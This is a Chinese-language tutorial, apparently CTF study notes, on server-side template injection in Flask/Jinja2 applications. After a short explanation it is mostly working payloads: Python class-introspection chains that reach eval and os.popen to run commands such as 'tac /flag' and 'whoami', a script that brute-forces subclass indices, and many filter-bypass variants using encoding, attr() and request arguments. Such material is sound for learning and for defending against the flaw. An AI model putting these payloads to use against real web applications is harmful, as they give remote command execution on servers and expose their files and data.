原理

SSTI(Server-Side Template Injection)即服务器端模板注入,用户的输入在正常情况下应该作为普通的变量在模板中渲染,但SSTI在模板进行渲染时实现了语句的拼接,模板渲染得到的页面实际上包含了注入语句产生的结果(和其他如SQL注入、XSS注入等类似,是由于代码不严谨或不规范且信任了用户的输入而导致的)

而其中的SST就是将页面中大量重复使用固定内容与变动内容分离,固定内容作为模板,而变动内容作为变量,每当该页面需要使用时只需要在模板中将变量替换为所需值即可,而不必为每次使用时从头到尾的生成两个完全不同的页面

SSTI中python主要考以jinja2为引擎的flask框架,如果题目很明显地指明是flask框架,那么有很大可能就是SSTI注入漏洞,要是找不到注入点(参数传递点),可以使用arjun来爆破url参数

怎样才是SSTI,请看VCR(bushi)

在如下页面中会获取URL中name参数的值替换掉页面中hello后面的字符,name的值不同hello后面的字符也不同

如果写入name={{7*7}},显示在页面上的是7*7运算得到的结果49,而不是一个单纯的字符串{{7*7}},这就说明了模板渲染的是我们注入语句的结果,也说明了这里存在SSTI。

我们也就可以通过控制输入name的值去实现XSS甚至SHELL命令(已知利用方向)

至于SSTI产生的代码基础这里就不赘述了,详见https://www.cnblogs.com/Article-kelp/p/14797393.html

值得一提的是,这里主要有两种模板渲染函数,render_template_string()render_template(),其中render_template是用来渲染一个指定文件的。render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞

常见payload及其解析

payload1

1
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}}

SSTI漏洞的payload的共性是都是通过python的继承关系来找到eval函数或者os函数,open函数来读flag。通常的bypass都是将一个完整的字符串拆成两个字符串拼接。下面是具体解析

首先是花括号,ssti必备的

其次,''.__class__,前面是一个空的字符串,字符串的属性__class__返回字符串所属的类,这样成功地把我们的操作对象从值转换为了类

接下来,.__base__,访问到了字符串所属类的父类,一般是object类,而object类是很多类的父类,于是使用__subclasses__()来获取object类的所有子类

在object类的所有子类中找到__init__之后有__globals__属性的类(重点)

以前我都是打印所有子类,一个个数字去试出位置找<class 'os._wrap_close'>(主要是找哪个类有os模块)

也可以写一个python脚本来检测返回结果中的第几个有globals属性,通常可以通过响应包的大小或是否正常访问来判断是否找到合适的类(访问不合适的类时往往响应包大小小上一截或根本不能正常访问)。

1
2
3
4
5
import requests as res
for i in range(0,400):
url="http://127.0.0.1:5000/ssti?name={{''.__class__.__base__.__subclasses__()[%d].__init__.__globals__}}"
response=res.get(url%i)
print(len(response.text),i,response.status_code)

通过下标找到了有globals的属性并选中['__builtins__']模块就可以在该模块中找到我们平时经常用的内置函数和类,其中就有eval,exec,open这些evil的函数

有了eval之后导入os模块执行系统命令即可,注意用popen来执行命令,用system不行,popen函数返回结果是一个object,所以还需要read方法将结果读取出来,至于system函数我们试着只能看到执行结果状态码,所以不考虑使用。

于是便有了payload的最后一行eval("__import__('os').popen('type flag.txt').read()")

payload2

1
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].open("flag.txt").read()}}

省略了eval,但是前提是要知道flag在哪个位置,通常配合os.listdir来获得文件位置

payload3

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("type flag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

利用的类是catchwarnings,因为不管怎么样object下面都会有catchwarnings,而catch_warnings也有__globals属性

payload4

1
{{config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()}}

作为储存配置信息的变量config刚好对应的就是一个非常合适的类,因为这个类中init函数全局变量中已经导入了”os”模块,我们可以直接调用。

payload5

1
{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('tac /flag').read()}}

我在LitCTF2024一个…池子?用的,__subclasses__()[137]找到<class 'os._wrap_close'>(这道题是137,一般都是在137,138,139附近),给这个类进行一些初始化方法__init__

初始化方法后可以通过__globals__魔术方法来返回当前类方法中的全局变量字典,可能有一点点抽象,我也不太懂具体是返回什么,但是大致就是返回当前类的全局变量

可以发现很多全局变量都在里面,我们需要最后能够进行rce,因此应该找到能执行系统命令的方法,这里用popen函数来执行系统命令,在后面加上具体的函数名即可找到对应的函数

然后执行一下shell命令,这里执行一下tac /flag,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个与子进程通信的对象,为了从该对象中获取子进程的输出,因此需要使用read()方法来读取子进程的输出

一些魔术方法的总结

魔术方法 作用
__class__ 返回类型所属的对象
__mro__ 以数组形式展示所有父类,在后面加上下标就能拿到指定的类了
__base__ 返回该对象所直接继承的父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用

绕过技巧

过滤关键字

绕过对双引号里关键字的限制,比如{{''.__class__}},如果过滤_class关键字

16进制编码

{{''.__class__}}等价于{{''["__class__"]}},所以可以将其中关键字编码或者部分编码,如

1
{{''["\x5f\x5f\x63las\x73\x5f\x5f"]}}

使用unicode编码(适用于Flask)

1
{{''["\u005f\u005fclas\u0073\u005f\u005f"]}}

使用字符串拼接、引号绕过,在Jinjia2中加号可以省略

1
2
{{''["__clas"+"s__"]}}
{{''["__clas""s__"]}}

使用base64编码(适用于Python2)

1
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3Blbigid2hvYW1pIikucmVhZCgp'.decode('base64'))}}

使用join()函数绕过,比如过滤了flag关键字

1
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

过滤中括号

使用getitem函数即可,它的作用是从getitem(i)等价于[i]获取第i个元素,因此可以替换,如

1
{{''.__class__.__mro__.__getitem__(1)}}

使用pop函数也可以

1
{{''.__class__.__mro__.__getitem__(1).__subclasses__().pop(80)}}

使用.来访问

1
{{''.__class__.__mro__.__getitem__(1).__subclasses__()[80].__init__.__globals__.__builtins__}}

过滤下划线

使用request对象。Flask可以有以下参数

form
args
values
cookies
stream
headers

1
2
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[80]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[80].__init__.__globals__['os'].popen('whoami').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

过滤点.

使用中括号来互换

1
2
3
{{''.__class__}}
{{''["__class__"]}}
{{''|attr("__class__")}}

也可以使用原生 JinJa2attr() 函数,如

1
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(80)|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")('__import__("os").popen("whoami").read()')}}

过滤花括号{

装载一个循环控制语句来绕过

如果题目直接把{{}}过滤了,可以考虑使用Flask模板的另一种形式{%%}装载一个循环控制语句来绕过

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

将执行结果外带(不外带的话无回显)

也可以使用{% if ... %}1{% endif %}配合 os.popencurl 将执行结果外带(不外带的话无回显)

1
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami') %}1{% endif %}

其他形式代替

也可以用{%print(......)%}的形式来代替{{}}

1
{%print(''.__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()"))%}

参考

SSTI基本原理以及漏洞利用